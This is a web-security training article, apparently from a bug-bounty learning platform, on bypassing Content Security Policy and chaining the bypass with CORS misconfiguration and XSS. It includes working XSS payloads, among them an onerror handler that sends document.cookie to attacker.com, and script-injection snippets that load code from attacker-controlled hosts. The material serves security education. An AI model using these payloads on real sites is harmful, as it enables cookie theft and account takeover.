Advanced levelPremium

CSP bypass + CORS misconfig + XSS — a complete exploitation chain

How to chain CSP misconfiguration (unsafe-inline, wildcard sources, whitelisted JSONP endpoints), CORS with credentials and XSS for unrestricted data exfiltration.

Gorka El BochiMay 11, 202617 min

Quick answer

A well-implemented CSP makes XSS "informational" — the payload doesn't execute. But 'unsafe-inline', 'unsafe-eval', wildcards (*.cdn.com) and JSONP endpoints on whitelisted domains open holes. Chained with a misconfigured CORS (Access-Control-Allow-Origin: * + Allow-Credentials: true, or reflection of the Origin header), the attacker exfiltrates arbitrary data. The typical chain: XSS contained by CSP → CSP bypass via JSONP/wildcard → CORS misconfig to fetch credentials → exfil.


Anatomy of a CSP

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' https://cdn.target.com https://*.googleapis.com;
  style-src 'self' 'unsafe-inline';
  img-src * data:;
  connect-src 'self' https://api.target.com;
  frame-ancestors 'none';
  base-uri 'self';
  report-uri /csp-report

The directives relevant to XSS:

DirectivePurposeBypass possible if
script-srcWhich scripts you can loadContains unsafe-inline, unsafe-eval, CDN wildcards, domains with JSONP
default-srcFallbackIf the app doesn't set script-src, it defaults here
object-src<object>, <embed>, <applet>If not 'none', legacy Flash attacks (rare in 2026)
base-uri<base href> injectionIf missing, the attacker sets <base> and redirects relative scripts
style-srcCSS sourcesunsafe-inline allows CSS exfil with expressions
connect-srcFetch/XHR/WebSocket destinationsIf it's * or has wildcards, exfil without restriction
frame-ancestorsWho can frame thisWithout it, clickjacking is possible

Bypass 1 — literal 'unsafe-inline'

css
Content-Security-Policy: script-src 'self' 'unsafe-inline'

The CSP is "present" but unsafe-inline nullifies it for inline scripts. Any classic XSS works without restrictions. It's still extremely common in legacy SaaS that migrated to CSP without refactoring inline handlers.

html
<img src=x onerror=fetch('https://attacker.com/c?='+document.cookie)>

Bypass 2 — 'unsafe-eval' enabled

'unsafe-eval' allows eval(), Function(), setTimeout(string). If the XSS lands in a sink where you can execute string-as-code, you don't need inline:

html
<script src="https://cdn-whitelisted.com/legit.js"></script>
<!-- Si legit.js hace eval(window.name) o similar, puedes inyectar payload via window.name -->

Combined with legacy Angular (ng-app) or React with dangerouslySetInnerHTML, template engines become eval sinks.


Bypass 3 — Wildcards in script-src

arduino
script-src 'self' https://*.cloudfront.net

CloudFront lets anyone host static JS. The attacker creates their own S3 bucket → a URL like https://attacker-bucket.s3.cloudfront.net/payload.js. The CSP allows it.

html
<script src="https://attacker.s3.cloudfront.net/p.js"></script>

Dangerous variants:

perl
script-src 'self' https://*.googleusercontent.com   # Cualquiera con cuenta Google hospeda
script-src 'self' https://*.amazonaws.com           # S3 público
script-src 'self' https://storage.googleapis.com    # GCS público
script-src 'self' https://raw.githubusercontent.com # GitHub raw files

All the "user-content under CDN" services break the CSP if they're whitelisted.


Bypass 4 — missing base-uri + relative scripts

If the app doesn't set base-uri 'self' but uses a relative <script src="./app.js">:

html
<!-- XSS injection point -->
<base href="https://attacker.com/">

<!-- Ahora cualquier <script src="./app.js"> en la página después de este punto -->
<!-- carga https://attacker.com/app.js -->

Subtle because the app keeps working if the attacker hosts a benign app.js + payload. The CSP doesn't detect it because base-uri doesn't cover it.


Bypass 5 — Nonce reuse or predictable nonce

arduino
script-src 'self' 'nonce-abc123'
html
<script nonce="abc123">window.config = {...}</script>

If the nonce is:

  • Reused across requests (cacheable / shared): the attacker captures a nonce and uses it in their payload.
  • Predictable (timestamps, counter, weak random): predicting future nonces.
  • Reflected in the HTML as an attribute of another element: if the attacker can inject into any DOM attribute near the nonce, they copy the value.

Example of a copy-nonce attack (limited HTML injection):

html
<img src=x onerror="
  const nonce = document.querySelector('script[nonce]').nonce;
  const s = document.createElement('script');
  s.setAttribute('nonce', nonce);
  s.src = 'https://attacker.com/p.js';
  document.head.appendChild(s);
">

onerror doesn't execute if the CSP is strict (blocks inline), but if the nonce is accessible via the .nonce property and the CSP allows via a wildcard CDN, it does.


Bypass 6 — strict-dynamic + injected script

'strict-dynamic' allows scripts loaded via API (appendChild) by already-authorized scripts to also execute. If the attacker manages to execute a single line inside an authorized script (via a gadget, DOM clobbering, prototype pollution), they can load arbitrary JS:

javascript
// Una vez ejecutando dentro de un script autorizado:
const s = document.createElement('script');
s.src = 'https://attacker.com/p.js';
document.head.appendChild(s);

strict-dynamic gives the authorized loader carte blanche.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Practice this in a lab

Csp Bypass Arsenal

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy